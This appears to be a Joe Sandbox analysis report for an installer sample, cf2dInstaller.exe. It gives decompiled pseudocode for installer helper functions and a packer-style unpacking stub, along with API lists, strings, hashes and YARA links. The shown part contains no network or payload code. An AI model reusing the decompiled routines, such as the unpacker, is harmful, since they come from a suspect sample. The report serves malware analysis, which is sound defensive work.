				 *0x40af9b = 1;
				 *0x40af98 = _t11 & 0x00000001;
				 *0x40af99 = _t11 & 0x00000002;
				 *0x40af9a = _t11 & 0x00000004;
				E00405A2E(_t18, _t24, _t26, "MS Shell Dlg",  *((intOrPtr*)(_t28 - 0x20)));
				_t14 = CreateFontIndirectA(0x40af84); // executed
				_push(_t14);
				_push(_t26);
				E0040596A();
				 *0x42ebe8 =  *0x42ebe8 +  *((intOrPtr*)(_t28 - 4));
				return 0;
			}

0x00401d29
0x00401d42
0x00401d4c
0x00401d51
0x00401d5c
0x00401d63
0x00401d75
0x00401d7b
0x00401d80
0x00401d8a
0x004024b8
0x00401561
0x00402833
0x0040288e
0x0040289a

APIs

GetDC.USER32 ref: 00401D22
GetDeviceCaps.GDI32(00000000), ref: 00401D29
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D38
CreateFontIndirectA.GDI32(0040AF84), ref: 00401D8A

Strings

MS Shell Dlg, xrefs: 00401D70

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirect
String ID: MS Shell Dlg
API String ID: 3272661963-76309092
Opcode ID: 37f3d47cd0a2469ce0d3cd42cda5c4591c6abaff71a6f6b6c58ab560fbba1d77
Instruction ID: 580b179190550232f88f4ba5e52f5296c98f8c4b0afe68c870f47754878f2485
Opcode Fuzzy Hash: 37f3d47cd0a2469ce0d3cd42cda5c4591c6abaff71a6f6b6c58ab560fbba1d77
Instruction Fuzzy Hash: 68F044F1A45342AEE702A7B0AE4B7993B649725309F100436F545BA1E2C5BC00149B7F

Uniqueness

Uniqueness Score: -1.00%

Function 00405712, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405712(char _a4, intOrPtr _a6, CHAR* _a8) {
				signed int _t11;
				int _t14;
				signed int _t16;
				void* _t19;
				CHAR* _t20;

				_t20 = _a4;
				_t19 = 0x64;
				while(1) {
					_t19 = _t19 - 1;
					_a4 = 0x61736e;
					_t11 = GetTickCount();
					_t16 = 0x1a;
					_a6 = _a6 + _t11 % _t16;
					_t14 = GetTempFileNameA(_a8,  &_a4, 0, _t20); // executed
					if(_t14 != 0) {
						break;
					}
					if(_t19 != 0) {
						continue;
					}
					 *_t20 =  *_t20 & 0x00000000;
					return _t14;
				}
				return _t20;
			}

0x00405716
0x0040571c
0x0040571d
0x0040571d
0x0040571e
0x00405725
0x0040572f
0x0040573c
0x0040573f
0x00405747
0x00000000
0x00000000
0x0040574b
0x00000000
0x00000000
0x0040574d
0x00000000
0x0040574d
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00405725
GetTempFileNameA.KERNEL32(?,0061736E,00000000,?), ref: 0040573F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405712, 00405715
nsa, xrefs: 0040571E
"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\", xrefs: 00405719

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-3895971850
Opcode ID: fc5e126f8815d4696b9f295c06fae67d9d4e63728d0dbdda5093f58b42bfadad
Instruction ID: 857343acb9398127b83b67a88284cb3acf20d602f6beb627bdaaa73bf87bc8f8
Opcode Fuzzy Hash: fc5e126f8815d4696b9f295c06fae67d9d4e63728d0dbdda5093f58b42bfadad
Instruction Fuzzy Hash: 19F0A736348204BAE7105E55DC04B9B7F99DFD1750F14C027F9449B1C0D6F099589BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00401CC1, Relevance: 7.5, APIs: 5, Instructions: 39
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401CC1(int __edx) {
				long _t16;
				void* _t17;
				int _t21;
				struct HWND__* _t25;
				void* _t27;

				_t25 = GetDlgItem( *(_t27 - 0x34), __edx);
				GetClientRect(_t25, _t27 - 0x40);
				_t16 = LoadImageA(_t21, E004029F6(_t21), _t21,  *(_t27 - 0x38) *  *(_t27 - 0x1c),  *(_t27 - 0x34) *  *(_t27 - 0x1c), 0x10); // executed
				_t17 = SendMessageA(_t25, 0x172, _t21, _t16); // executed
				if(_t17 != _t21) {
					DeleteObject(_t17);
				}
				 *0x42ebe8 =  *0x42ebe8 +  *((intOrPtr*)(_t27 - 4));
				return 0;
			}

0x00401ccb
0x00401cd2
0x00401cf3
0x00401d01
0x00401d09
0x00401d10
0x00401d10
0x0040288e
0x0040289a

APIs

GetDlgItem.USER32 ref: 00401CC5
GetClientRect.USER32 ref: 00401CD2
LoadImageA.USER32 ref: 00401CF3
SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D01
DeleteObject.GDI32 ref: 00401D10

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: bcf2014c00065f5201b430a5429a32b7385cfa622623bd2341514d29d8348619
Instruction ID: f89edaf4e673e5a696cf4c500be88082f9c29b5fdabb6c66a10e118bddb835aa
Opcode Fuzzy Hash: bcf2014c00065f5201b430a5429a32b7385cfa622623bd2341514d29d8348619
Instruction Fuzzy Hash: 71F01DB2E04105BFD700EBA4EE89DAFB7BDEB44345B104576F602F6190C678AD018B69

Uniqueness

Uniqueness Score: -1.00%

Function 1000198F, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E1000198F(void* __edx, void* __edi, void* __esi, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				void _v36;
				struct HINSTANCE__* _t34;
				intOrPtr _t38;
				void* _t44;
				void* _t45;
				void* _t46;
				void* _t50;
				intOrPtr _t53;
				signed int _t57;
				signed int _t61;
				void* _t65;
				void* _t66;
				void* _t70;
				void* _t74;

				_t74 = __esi;
				_t66 = __edi;
				_t65 = __edx;
				 *0x10004058 = _a8;
				 *0x1000405c = _a16;
				 *0x10004060 = _a12;
				 *((intOrPtr*)(_a20 + 0xc))( *0x10004038, E1000189E);
				_push(1); // executed
				_t34 = E10001D3B(); // executed
				_t50 = _t34;
				if(_t50 == 0) {
					L28:
					return _t34;
				} else {
					if( *((intOrPtr*)(_t50 + 4)) != 1) {
						E100023F6(_t50);
					}
					E10002440(_t65, _t50);
					_t53 =  *((intOrPtr*)(_t50 + 4));
					if(_t53 == 0xffffffff) {
						L14:
						if(( *(_t50 + 0x810) & 0x00000004) == 0) {
							if( *((intOrPtr*)(_t50 + 4)) == 0) {
								_t34 = E100025FE(_t65, _t50);
							} else {
								_push(_t74);
								_push(_t66);
								_t12 = _t50 + 0x818; // 0x818
								_t57 = 8;
								memcpy( &_v36, _t12, _t57 << 2);
								_t38 = E100018A1(_t50);
								_t15 = _t50 + 0x818; // 0x818
								_t70 = _t15;
								 *((intOrPtr*)(_t50 + 0x820)) = _t38;
								 *_t70 = 3;
								E100025FE(_t65, _t50);
								_t61 = 8;
								_t34 = memcpy(_t70,  &_v36, _t61 << 2);
							}
						} else {
							E100025FE(_t65, _t50);
							_t34 = GlobalFree(E1000159E(E100018A1(_t50)));
						}
						if( *((intOrPtr*)(_t50 + 4)) != 1) {
							_t34 = E100025C4(_t50);
							if(( *(_t50 + 0x810) & 0x00000040) != 0 &&  *_t50 == 1) {
								_t34 =  *(_t50 + 0x808);
								if(_t34 != 0) {
									_t34 = FreeLibrary(_t34);
								}
							}
							if(( *(_t50 + 0x810) & 0x00000020) != 0) {
								_t34 = E10001825( *0x10004054);
							}
						}
						if(( *(_t50 + 0x810) & 0x00000002) != 0) {
							goto L28;
						} else {
							return GlobalFree(_t50);
						}
					}
					_t44 =  *_t50;
					if(_t44 == 0) {
						if(_t53 != 1) {
							goto L14;
						}
						E100014C7(_t50); // executed
						L12:
						_t50 = _t44;
						L13:
						goto L14;
					}
					_t45 = _t44 - 1;
					if(_t45 == 0) {
						L8:
						_t44 = E1000120C(_t53, _t50); // executed
						goto L12;
					}
					_t46 = _t45 - 1;
					if(_t46 == 0) {
						E100027CC(_t50);
						goto L13;
					}
					if(_t46 != 1) {
						goto L14;
					}
					goto L8;
				}
			}

0x1000198f
0x1000198f
0x1000198f
0x10001999
0x100019a1
0x100019ae
0x100019bc
0x100019bf
0x100019c1
0x100019c6
0x100019cb
0x10001ade
0x10001ade
0x100019d1
0x100019d5
0x100019d8
0x100019dd
0x100019df
0x100019e5
0x100019eb
0x10001a1b
0x10001a22
0x10001a46
0x10001a85
0x10001a48
0x10001a48
0x10001a49
0x10001a4c
0x10001a52
0x10001a56
0x10001a59
0x10001a5e
0x10001a5e
0x10001a65
0x10001a6b
0x10001a71
0x10001a7d
0x10001a7e
0x10001a81
0x10001a24
0x10001a25
0x10001a3a
0x10001a3a
0x10001a8f
0x10001a92
0x10001a9f
0x10001aa6
0x10001aae
0x10001ab1
0x10001ab1
0x10001aae
0x10001abe
0x10001ac6
0x10001acb
0x10001abe
0x10001ad3
0x00000000
0x10001ad5
0x00000000
0x10001ad6
0x10001ad3
0x100019ef
0x100019f2
0x10001a10
0x00000000
0x00000000
0x10001a13
0x10001a18
0x10001a18
0x10001a1a
0x00000000
0x10001a1a
0x100019f4
0x100019f5
0x100019fd
0x100019fe
0x00000000
0x100019fe
0x100019f7
0x100019f8
0x10001a06
0x00000000
0x10001a06
0x100019fb
0x00000000
0x00000000
0x00000000
0x100019fb

APIs

Part of subcall function 10001D3B: GlobalFree.KERNEL32 ref: 10001F80
Part of subcall function 10001D3B: GlobalFree.KERNEL32 ref: 10001F85
Part of subcall function 10001D3B: GlobalFree.KERNEL32 ref: 10001F8A

GlobalFree.KERNEL32 ref: 10001A3A
FreeLibrary.KERNEL32(?), ref: 10001AB1
GlobalFree.KERNEL32 ref: 10001AD6

Part of subcall function 100023F6: GlobalAlloc.KERNEL32(00000040,E8002080), ref: 10002428

Part of subcall function 100027CC: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,?,10001A0B,00000000), ref: 1000281C

Part of subcall function 100018A1: lstrcpyA.KERNEL32(00000000,10004018,00000000,10001967,00000000), ref: 100018BA

Part of subcall function 100025FE: wsprintfA.USER32 ref: 1000265F
Part of subcall function 100025FE: GlobalFree.KERNEL32 ref: 10002728
Part of subcall function 100025FE: GlobalFree.KERNEL32 ref: 10002751

Strings

, xrefs: 10001AB7

Memory Dump Source

Source File: 00000003.00000002.506890676.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.506882203.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506902544.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506915040.0000000010005000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_cf2dInstaller.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpywsprintf
String ID:
API String ID: 1767494692-3916222277
Opcode ID: 8f44f4e6d27d5d844d15625e85434632f70f828563cb38d296da2d89392c5422
Instruction ID: 73a644c0497f06cd708a10c3248ea791f84cf5318f3d9e6ca3c0cc3a1fe5f0c9
Opcode Fuzzy Hash: 8f44f4e6d27d5d844d15625e85434632f70f828563cb38d296da2d89392c5422
Instruction Fuzzy Hash: 8031A075601245AAFB41DF649CC5BDA3BE8FF062D0F148429F9066A09FCF749845CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00401BAD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00401BAD() {
				signed int _t28;
				CHAR* _t31;
				long _t32;
				int _t37;
				signed int _t38;
				int _t42;
				int _t48;
				struct HWND__* _t52;
				void* _t55;

				 *(_t55 - 0x34) = E004029D9(3);
				 *(_t55 + 8) = E004029D9(4);
				if(( *(_t55 - 0x10) & 0x00000001) != 0) {
					 *((intOrPtr*)(__ebp - 0x34)) = E004029F6(0x33);
				}
				__eflags =  *(_t55 - 0x10) & 0x00000002;
				if(( *(_t55 - 0x10) & 0x00000002) != 0) {
					 *(_t55 + 8) = E004029F6(0x44);
				}
				__eflags =  *((intOrPtr*)(_t55 - 0x28)) - 0x21;
				_push(1);
				if(__eflags != 0) {
					_t50 = E004029F6();
					_t28 = E004029F6();
					asm("sbb ecx, ecx");
					asm("sbb eax, eax");
					_t31 =  ~( *_t27) & _t50;
					__eflags = _t31;
					_t32 = FindWindowExA( *(_t55 - 0x34),  *(_t55 + 8), _t31,  ~( *_t28) & _t28);
					goto L10;
				} else {
					_t52 = E004029D9();
					_t37 = E004029D9();
					_t48 =  *(_t55 - 0x10) >> 2;
					if(__eflags == 0) {
						_t32 = SendMessageA(_t52, _t37,  *(_t55 - 0x34),  *(_t55 + 8)); // executed
						L10:
						 *(_t55 - 8) = _t32;
					} else {
						_t38 = SendMessageTimeoutA(_t52, _t37,  *(_t55 - 0x34),  *(_t55 + 8), _t42, _t48, _t55 - 8);
						asm("sbb eax, eax");
						 *((intOrPtr*)(_t55 - 4)) =  ~_t38 + 1;
					}
				}
				__eflags =  *((intOrPtr*)(_t55 - 0x24)) - _t42;
				if( *((intOrPtr*)(_t55 - 0x24)) >= _t42) {
					_push( *(_t55 - 8));
					E0040596A();
				}
				 *0x42ebe8 =  *0x42ebe8 +  *((intOrPtr*)(_t55 - 4));
				return 0;
			}

0x00401bb6
0x00401bc2
0x00401bc5
0x00401bce
0x00401bce
0x00401bd1
0x00401bd5
0x00401bde
0x00401bde
0x00401be1
0x00401be5
0x00401be7
0x00401c34
0x00401c36
0x00401c3f
0x00401c47
0x00401c4a
0x00401c4a
0x00401c53
0x00000000
0x00401be9
0x00401bf0
0x00401bf2
0x00401bfa
0x00401bfd
0x00401c25
0x00401c59
0x00401c59
0x00401bff
0x00401c0d
0x00401c15
0x00401c18
0x00401c18
0x00401bfd
0x00401c5c
0x00401c5f
0x00401c65
0x00402833
0x00402833
0x0040288e
0x0040289a

APIs

SendMessageTimeoutA.USER32 ref: 00401C0D
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C25

Strings

!, xrefs: 00401BE1

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 5e77a80833e19dc55b8a20fadec5ab0659a97bc6c71de6bcb2193ca436d8299f
Instruction ID: e870f9960eb541ab862ab70d99fa676f0883abea00e9f1964bf1c40a5587cb5b
Opcode Fuzzy Hash: 5e77a80833e19dc55b8a20fadec5ab0659a97bc6c71de6bcb2193ca436d8299f
Instruction Fuzzy Hash: 3B21C4B1A44209BFEF01AFB4CE4AAAE7B75EF40344F14053EF602B60D1D6B84980E718

Uniqueness

Uniqueness Score: -1.00%

Function 02F91480, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02F91480(void* __eflags, struct HWND__* _a4, int _a8, int _a12, long _a16) {
				void* _t8;
				long _t9;

				_t8 = E02F913C6(_a4);
				if(_t8 != 0) {
					if(_a8 != 0x20) {
						_t9 = CallWindowProcA( *(_t8 + 0x414), _a4, _a8, _a12, _a16); // executed
						return _t9;
					}
					SetCursor(LoadCursorA(0, 0x7f89));
					return 1;
				}
				return _t8;
			}

0x02f91486
0x02f9148d
0x02f91493
0x02f914c0
0x00000000
0x02f914c0
0x02f914a3
0x00000000
0x02f914ab
0x02f914c7

APIs

Part of subcall function 02F913C6: GetPropA.USER32 ref: 02F913CF

LoadCursorA.USER32 ref: 02F9149C
SetCursor.USER32(00000000,?,?,?), ref: 02F914A3
CallWindowProcA.USER32 ref: 02F914C0

Strings

, xrefs: 02F9148F

Memory Dump Source

Source File: 00000003.00000002.506402521.0000000002F91000.00000020.00020000.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000003.00000002.506388642.0000000002F90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506417970.0000000002F93000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506430439.0000000002F94000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.506443752.0000000002F97000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2f90000_cf2dInstaller.jbxd

Similarity

API ID: Cursor$CallLoadProcPropWindow
String ID:
API String ID: 1635134901-3916222277
Opcode ID: b5bc17344ac59753df2e1a7df728dd217d049df337f05ece3a1f1a04944f1733
Instruction ID: ec5d81e01ad462877342908a97e3813866925c66a7db050c1534d6fa2110122c
Opcode Fuzzy Hash: b5bc17344ac59753df2e1a7df728dd217d049df337f05ece3a1f1a04944f1733
Instruction Fuzzy Hash: 7DE03932D4410EBBDF115FA1DD04AAA3B6AAB0A795F00C430FA0D88060C77280609B61

Uniqueness

Uniqueness Score: -1.00%

Function 70558BC0, Relevance: 6.2, APIs: 4, Instructions: 188
COMMON

Download Yara Rule

C-Code - Quality: 83%

			_entry_(void* __eax, char _a8, intOrPtr _a128, intOrPtr _a132) {
				char _v128;

				if (_a8 != 1) goto L55;
				 *__eax =  *__eax + __al;
				__eflags =  *__eax;
				asm("pushad");
				__esi = 0x70558000;
				_t4 = __esi - 0x7000; // 0x70551000
				__edi = _t4;
				_push(__edi);
				while(1) {
					__ebx =  *__esi;
					__esi = __esi - 0xfffffffc;
					asm("adc ebx, ebx");
					do {
						if(__eflags < 0) {
							__al =  *__esi;
							__esi = __esi + 1;
							__eflags = __esi;
							 *__edi = __al;
							__edi = __edi + 1;
							__eflags = __edi;
							goto L8;
						}
						__eax = 1;
						goto L12;
						do {
							do {
								L12:
								__ebx = __ebx + __ebx;
								__eflags = __ebx;
								if(__ebx == 0) {
									__ebx =  *__esi;
									__esi = __esi - 0xfffffffc;
									asm("adc ebx, ebx");
								}
								asm("adc eax, eax");
								__ebx = __ebx + __ebx;
								__eflags = __ebx;
							} while (__eflags >= 0);
							if(__eflags == 0) {
								goto L16;
							}
							break;
							L16:
							__ebx =  *__esi;
							__esi = __esi - 0xfffffffc;
							__eflags = __esi;
							asm("adc ebx, ebx");
						} while (__esi >= 0);
						__ecx = 0;
						__eax = __eax - 3;
						__eflags = __eax;
						if(__eax < 0) {
							L20:
							__ebx = __ebx + __ebx;
							__eflags = __ebx;
							if(__ebx == 0) {
								__ebx =  *__esi;
								__esi = __esi - 0xfffffffc;
								asm("adc ebx, ebx");
							}
							asm("adc ecx, ecx");
							__ebx = __ebx + __ebx;
							__eflags = __ebx;
							if(__eflags == 0) {
								__ebx =  *__esi;
								__esi = __esi - 0xfffffffc;
								asm("adc ebx, ebx");
							}
							asm("adc ecx, ecx");
							if(__eflags == 0) {
								__ecx = __ecx + 1;
								__eflags = __ecx;
								goto L26;
								do {
									do {
										L26:
										__ebx = __ebx + __ebx;
										__eflags = __ebx;
										if(__ebx == 0) {
											__ebx =  *__esi;
											__esi = __esi - 0xfffffffc;
											asm("adc ebx, ebx");
										}
										asm("adc ecx, ecx");
										__ebx = __ebx + __ebx;
										__eflags = __ebx;
									} while (__eflags >= 0);
									if(__eflags == 0) {
										goto L30;
									}
									break;
									L30:
									__ebx =  *__esi;
									__esi = __esi - 0xfffffffc;
									__eflags = __esi;
									asm("adc ebx, ebx");
								} while (__esi >= 0);
								__ecx = __ecx + 2;
								__eflags = __ecx;
							}
							__eflags = __ebp - 0xfffff300;
							asm("adc ecx, 0x1");
							__edx = __edi + __ebp;
							__eflags = __ebp - 0xfffffffc;
							if(__ebp <= 0xfffffffc) {
								do {
									__eax =  *__edx;
									__edx =  &(__edx[1]);
									 *__edi = __eax;
									__edi = __edi + 4;
									__ecx = __ecx - 4;
									__eflags = __ecx;
								} while (__ecx > 0);
								__edi = __edi + __ecx;
							} else {
								do {
									__al =  *__edx;
									__edx =  &(__edx[0]);
									 *__edi = __al;
									__edi = __edi + 1;
									__ecx = __ecx - 1;
									__eflags = __ecx;
								} while (__ecx != 0);
							}
							goto L8;
							do {
								do {
									L38:
									__al =  *__edi;
									__edi = __edi + 1;
									__al = __al - 0xe8;
									__eflags = __al - 1;
								} while (__al > 1);
								__eflags =  *__edi;
							} while ( *__edi != 0);
							__eax =  *__edi;
							_t6 = __edi + 4; // 0x24a37055
							__ax = __ax >> 8;
							asm("rol eax, 0x10");
							_t7 = __al;
							__al = __ah;
							__ah = _t7;
							 *__edi - __edi = __esi +  *__edi - __edi;
							 *__edi = __esi +  *__edi - __edi;
							__eflags = __edi;
							__al =  *_t6 - 0xe8;
							asm("loop 0xffffffdb");
							_t8 = __esi + 0x6000; // 0x70557000
							__edi = _t8;
							while(1) {
								L41:
								__eax =  *__edi;
								__eax =  *__edi;
								__eflags = __eax;
								if(__eax == 0) {
									break;
								}
								_t9 = __edi + 4; // 0x2000
								__ebx =  *_t9;
								__eax = __eax + __esi + 0x8358;
								__ebx = __esi +  *_t9;
								__edi = __edi + 8;
								__eflags = __edi;
								_t13 = __eax;
								__eax = __ebp;
								__ebp = _t13;
								while(1) {
									__al =  *__edi;
									__edi = __edi + 1;
									__al = __al;
									__eflags = __al;
									if(__al == 0) {
										goto L41;
									}
									__ecx = __edi;
									__eax = __eax - 1;
									asm("repne scasb");
									__eax = GetProcAddress(__ebp, __edi);
									__eax = __eax;
									__eflags = __eax;
									if(__eax == 0) {
										asm("popad");
										__eax = 0;
										__eflags = 0;
										return 0;
									} else {
										 *__ebx = __eax;
										__ebx = __ebx + 4;
										continue;
									}
									L56:
								}
							}
							__edi = __edi + 4;
							__eflags = __edi;
							_t15 = __esi - 4; // 0x70550ffc
							__ebx = _t15;
							while(1) {
								__eax = 0;
								__al =  *__edi;
								__edi = __edi + 1;
								__eax = 0;
								__eflags = 0;
								if(0 == 0) {
									break;
								}
								__eflags = __al - 0xef;
								if(__al > 0xef) {
									__al = __al & 0x0000000f;
									__eax = 0 << 0x10;
									__ax =  *__edi;
									__edi = __edi + 2;
								}
								__ebx = __ebx + __eax;
								__eax =  *__ebx;
								_t16 = __al;
								__al = __ah;
								__ah = _t16;
								asm("rol eax, 0x10");
								_t17 = __al;
								__al = _t16;
								__ah = _t17;
								__eax = __esi +  *__ebx;
								 *__ebx = __esi +  *__ebx;
							}
							__ebp =  *(__esi + 0x839c);
							_t19 = __esi - 0x1000; // 0x70550000
							__edi = _t19;
							__ebx = 0x1000;
							_push(0);
							__eax = VirtualProtect(__edi, 0x1000, 4, __esp);
							_t20 = __edi + 0x1f7; // 0x705501f7
							__eax = _t20;
							 *__eax =  *__eax & 0x0000007f;
							_t21 = __eax + 0x28;
							 *_t21 =  *(__eax + 0x28) & 0x0000007f;
							__eflags =  *_t21;
							_pop(__eax);
							__eax = VirtualProtect(__edi, 0x1000, __eax, __esp); // executed
							__eax = __eax;
							asm("popad");
							__eax =  &_v128;
							do {
								_push(0);
								__eflags = __esp - __eax;
							} while (__esp != __eax);
							__esp = __esp - 0xffffff80;
							 *0x70554010 = _a128;
							if(_a132 == 1) {
								E70551000();
							}
							return 1;
							goto L56;
						}
						__eax = __eax << 8;
						__al =  *__esi;
						__esi = __esi + 1;
						__eax = __eax ^ 0xffffffff;
						__eflags = __eax;
						if(__eax != 0) {
							__ebp = __eax;
							goto L20;
						}
						_pop(__esi);
						__edi = __esi;
						__ecx = 0x4c;
						goto L38;
						L8:
						__ebx = __ebx + __ebx;
						__eflags = __ebx;
					} while (__eflags != 0);
				}
			}

0x70558bc5
0x70558bc9
0x70558bc9
0x70558bcb
0x70558bcc
0x70558bd1
0x70558bd1
0x70558bd7
0x70558bea
0x70558bea
0x70558bec
0x70558bef
0x70558bf1
0x70558bf1
0x70558be0
0x70558be2
0x70558be2
0x70558be3
0x70558be5
0x70558be5
0x00000000
0x70558be5
0x70558bf3
0x70558bf3
0x70558bf8
0x70558bf8
0x70558bf8
0x70558bf8
0x70558bf8
0x70558bfa
0x70558bfc
0x70558bfe
0x70558c01
0x70558c01
0x70558c03
0x70558c05
0x70558c05
0x70558c05
0x70558c09
0x00000000
0x00000000
0x00000000
0x70558c0b
0x70558c0b
0x70558c0d
0x70558c0d
0x70558c10
